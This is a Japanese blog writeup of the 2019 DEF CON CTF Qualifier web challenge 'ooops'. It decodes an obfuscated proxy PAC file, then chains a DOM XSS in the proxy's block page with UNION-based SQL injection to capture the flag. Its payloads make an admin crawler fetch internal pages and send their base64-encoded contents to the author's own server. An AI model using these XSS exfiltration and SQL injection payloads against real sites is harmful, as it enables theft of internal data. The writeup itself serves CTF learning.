こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

DEF CON CTF Qualifier 2019 Writeup - ooops

Question

On our corporate network, the only overflow is the Order of the Overflow.

attachment: info.pac

eval((function(){var s=Array.prototype.slice.call(arguments),G=s.shift();return s.reverse().map(function(f,i){return String.fromCharCode(f-G-19-i)}).join('')})(29,202,274,265,261,254,265,251,267,227,179,247,249,260,175,244,252,172,253,239,237,250,214,166,248,237,163,245,244,229,226,225,222,156,233,219,220,152,234,219,218,237,226,222,225,221,212,142,228,219,215,208,219,205,221,213,133,221,207,208,208,128,196,198,177,124,133,137,121,120,97,209,117,125,199,197,192,184,111,122,185,190,192,114,183,183,176,186,168,178,184,168,97,125,95,138,143,145,173,169,127,177,175,165,167,132,151,160,154,118)+(16).toString(36).toLowerCase().split('').map(function(c){return String.fromCharCode(c.charCodeAt()+(-71))}).join('')+(28).toString(36).toLowerCase().split('').map(function(d){return String.fromCharCode(d.charCodeAt()+(-39))}).join('')+(880).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(I){return String.fromCharCode(I.charCodeAt()+(-71))}).join('')+(671).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-71))}).join('')+(1517381).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(W){return String.fromCharCode(W.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(x){return String.fromCharCode(x.charCodeAt()+(-39))}).join('')+(30598).toString(36).toLowerCase()+(31).toString(36).toLowerCase().split('').map(function(M){return String.fromCharCode(M.charCodeAt()+(-39))}).join('')+(842).toString(36).toLowerCase()+(function(){var T=Array.prototype.slice.call(arguments),F=T.shift();return T.reverse().map(function(Q,S){return String.fromCharCode(Q-F-18-S)}).join('')})(36,161,205,187,188,200,190,184,154,146,223,226,228,226,210,222,139,147,146,143,214,207,147,219,210,206,199,210,196,212,204,203,202,129,121,132,203,201,196,188,123,186,180,196,176,155,189,196,144,178,188,112,103,172,174,100,99,76,112,106,95,181,172,168,161,172,158,174,134,112)+(11).toString(36).toLowerCase().split('').map(function(H){return String.fromCharCode(H.charCodeAt()+(-39))}).join('')+(1657494275).toString(36).toLowerCase()+(599).toString(36).toLowerCase().split('').map(function(o){return String.fromCharCode(o.charCodeAt()+(-71))}).join('')+(42727).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-39))}).join('')+(519).toString(36).toLowerCase().split('').map(function(i){return String.fromCharCode(i.charCodeAt()+(-13))}).join('')+(16).toString(36).toLowerCase().split('').map(function(V){return String.fromCharCode(V.charCodeAt()+(-71))}).join('')+(41462560).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(h){return String.fromCharCode(h.charCodeAt()+(-71))}).join('')+(2103412979233).toString(36).toLowerCase()+(function(){var n=Array.prototype.slice.call(arguments),z=n.shift();return n.reverse().map(function(l,V){return String.fromCharCode(l-z-58-V)}).join('')})(9,190,182,181,180,114,124)+(892604048).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(T){return String.fromCharCode(T.charCodeAt()+(-71))}).join('')+(18).toString(36).toLowerCase()+(function(){var V=Array.prototype.slice.call(arguments),v=V.shift();return V.reverse().map(function(i,Y){return String.fromCharCode(i-v-53-Y)}).join('')})(48,160,212)+(8).toString(36).toLowerCase()+(function(){var q=Array.prototype.slice.call(arguments),b=q.shift();return q.reverse().map(function(X,r){return String.fromCharCode(X-b-11-r)}).join('')})(1,54,62,69,60)+(11).toString(36).toLowerCase().split('').map(function(y){return String.fromCharCode(y.charCodeAt()+(-39))}).join('')+(20).toString(36).toLowerCase().split('').map(function(S){return String.fromCharCode(S.charCodeAt()+(-97))}).join('')+(function(){var u=Array.prototype.slice.call(arguments),r=u.shift();return u.reverse().map(function(e,v){return String.fromCharCode(e-r-55-v)}).join('')})(27,207));

Solution

待望のWeb問題。

1. info.pacの解析

info.pacは難読化されたJavaScript。拡張子からプロキシ設定ファイルと推測する。

info.pacのコードをそのままChromeの開発者ツールのコンソールで実行すると以下の関数が定義される。

FindProxyForURL = function(url, host) {
  /* The only overflow employees can access is Order of the Overflow. Log in with OnlyOne:Overflow */
  if (shExpMatch(host, 'oooverflow.io')) return 'DIRECT';return 'PROXY ooops.quals2019.oooverflow.io:8080';
}

推測通りプロキシ設定。username/passwordもコメントに書かれている。

プロキシを使用してexmaple.comにリクエストを発行してみる。

root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://example.com/
<!doctype html>
<html>
<head>
    <title>Example Domain</title>
(snip)

プロキシは有効なようだ。ここからはブラウザにプロキシ設定して攻略を進める。

2. ブロック画面と申請画面の調査

oooverflow.ioにプロキシを使用してリクエストを発行してみる。

root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://oooverflow.io -v
*   Trying 35.236.48.134...
* TCP_NODELAY set
* Connected to ooops.quals2019.oooverflow.io (35.236.48.134) port 8080 (#0)
* Proxy auth using Basic with user 'OnlyOne'
> GET http://oooverflow.io/ HTTP/1.1
> Host: oooverflow.io
> Proxy-Authorization: Basic T25seU9uZTpPdmVyZmxvdw==
> User-Agent: curl/7.63.0
> Accept: */*
> Proxy-Connection: Keep-Alive
> 
< HTTP/1.1 200 OK
< Content-Type: text/html
< Content-Length: 562
< 
* Excess found in a non pipelined read: excess = 2, size = 562, maxdownload = 562, bytecount = 0
<!DOCTYPE html>
<html>
<head>
<script src="/ooops/d35fs23hu73ds/scripts/main.js"></script>
<link rel="stylesheet" type="text/css" href="/ooops/d35fs23hu73ds/css/main.css" >
<link rel="stylesheet" type="text/css" href="/ooops/d35fs23hu73ds/css/bootstrap.min.css" >
<meta charset="utf-8" /> 
</head>

<body>
  <div class="container">
    <h1>Page Blocked</h1>
    <img id=logo src="/ooops/d35fs23hu73ds/images/ooo.png"> <br/>
    <div id="blocked"></div>
      <a href="/ooops/d35fs23hu73ds/review.html">Request site review</a>
    </div>
  </div>
</body>
</html>
* Connection #0 to host ooops.quals2019.oooverflow.io left intact

Webブラウザでも表示する。どうやらプロキシでブロックされているようだ。
f:id:graneed:20190513010237p:plain

Request site reviewのリンクをクリックすると、管理者にブロック解除を申請する画面に遷移する。
f:id:graneed:20190513010345p:plain

試しに、自サーバのURLを入力して申請してみると、管理者とみられるユーザからアクセスが来た。

35.236.48.134 - - [12/May/2019:13:37:41 +0900] "GET /aaaa HTTP/1.0" 404 464 "http://10.0.1.69:5000/admin/view/15" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"

Refererを見ると、http://10.0.1.69:5000/admin/view/15から遷移されている。
なお、何度か試すと、IPアドレスとURLの末尾の数字は変動することがわかる。

管理者用の画面(/admin/view/1)のコンテンツを入手する方法を考える。

3. XSS

プロキシのブロック画面で/ooops/d35fs23hu73ds/scripts/main.jsをincludeしている。
main.jsのコードは以下の通り。

function split_url(u) {
    u = decodeURIComponent(u); // Stringify
    output = u[0];
    for (i=1;i<u.length;i++) {
        output += u[i]
        if (i%55==0) output+= "<br/>";
    }
    console.log(output)
    return output
}
window.onload = function () { 
    d = document.getElementById("blocked");
    d.innerHTML=(split_url(document.location) + " is blocked")
}

document.locationへ55文字ごとに<br/>を差し込んで、innerHTMLにセットしている。XSSできそうだ。

http://oooverflow.io/<img src=x onerror=alert(1)>にアクセスするとアラート表示に成功した。
f:id:graneed:20190513011928p:plain

ただ、http://oooverflow.io/XSSが成功しても、クロスドメインになるため、目的とするhttp://10.0.*.*:5000/admin/view/1からコンテンツは窃取できない。

プロキシがブロック画面を表示する条件を確認する。

root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://hoge.oooverflow.io/ -s | grep "Page Blocked"
    <h1>Page Blocked</h1>

root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://example.com/oooverflow -s | grep "Page Blocked"
    <h1>Page Blocked</h1>

URLのどこかにoooverflowが含まれていることが条件だったようだ。ドメインでなくてもよい。

これでhttp://10.0.*.*:5000/oooverflow/<img src=x onerror=攻撃コード>のURLを管理者に申請することでコンテンツ窃取することができる。

しかし、55文字ごとに<br/>を差し込む妨害をバイパスする必要がある。
色々な方法があるとは思うが、ハッシュ(URLの#以降の文字列)をevalで実行する方法で、長さ制限をバイパスすることにした。
HTMLのBodyのコード部分に<br/>が混入したとしてもハッシュに変化は無いため、任意の文字列のコードが実行できる。

以下はアラート表示させるXSSのURL例。

http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('alert("hoge")'))

aaaaaaaaaaaaaaaaaaaaaaaaaは、imgタグの途中で<br/>が混入しないための調整用の文字列。
ハッシュのevalとunescapeは、コード内の記号にURLエンコードがかかるため、それをデコードするための処理。

/admin/view/1のコンテンツを取得して自サーバに送信するコードをハッシュにセットし、ブロック解除を申請する画面に入力する。

http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/1",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))

直後、自サーバにアクセスが来た。

35.236.48.134 - - [12/May/2019:17:30:52 +0900] "GET /q=PCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KPHRpdGxlPk9PT1BTIC(snip)

BASE64デコードすると/admin/view/1の画面コンテンツを入手できた。

<!doctype html>
<html>
<head>
<title>OOOPS &mdash; Evaluate Requests</title>

<link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head>
<body>
<div class="container">
<div class="row">


<!-- Query: select rowid,* from requests where rowid=1; -->

<p>
Request #1 from b&#39;10.255.0.2&#39;.
 Automatically evaluated 
</p>

<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="http://10.0.8.6:5000/overflow/(snip)
Visit http://10.0.8.6:5000/overflow/(snip)
</a>





</div>
</div>
</body>
</html>

なお、管理者のクローラーIPアドレスと、入力したURLのIPアドレスが一致していないと、Only internal users may access this websiteのメッセージが含まれるコンテンツが返却される。管理者のクローラーIPアドレスは頻繁に変わるようで、何度もリトライした。もう少し確実な解き方があったのかもしれない。

4. SQL Injection

/admin/view/1の画面コンテンツを見ると、興味深い文字列を発見する。

<!-- Query: select rowid,* from requests where rowid=1; -->

SQL Injectionで攻めるのが明らかである。

/admin/view/1の代わりに/admin/view/0 union select 1,2,3,4,5をセットして申請すると、テーブルが5列であることがわかる。

http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/0 union select 1,2,3,4,5",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))

(snip)
<!-- Query: select rowid,* from requests where rowid=0 union select 1,2,3,4,5; -->

<p>
Request #1 from 2.
 Automatically evaluated 
</p>

<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="4">
Visit 4
</a>
(snip)

次に0 union select 1,2,3,sql,5 from sqlite_masterをセットして申請する。
flagテーブルが存在することがわかる。

http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/0 union select 1,2,3,sql,5 from sqlite_master",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))

(snip)
<!-- Query: select rowid,* from requests where rowid=0 union select 1,2,3,sql,5 from sqlite_master; -->

<p>
Request #1 from 2.
 Automatically evaluated 
</p>

<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="CREATE TABLE flag (name TEXT, flag TEXT)">
Visit CREATE TABLE flag (name TEXT, flag TEXT)
</a>
(snip)

最後にflagを取得するSQLをセットして申請する。

http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/0 union select 1,2,3,flag,5 from flag",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))

(snip)
<!-- Query: select rowid,* from requests where rowid=0 union select 1,2,3,flag,5 from flag; -->

<p>
Request #1 from 2.
 Automatically evaluated
</p>

<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="OOO{C0rporateIns3curity}">
Visit OOO{C0rporateIns3curity}
</a>
(snip)

フラグゲット。
OOO{C0rporateIns3curity}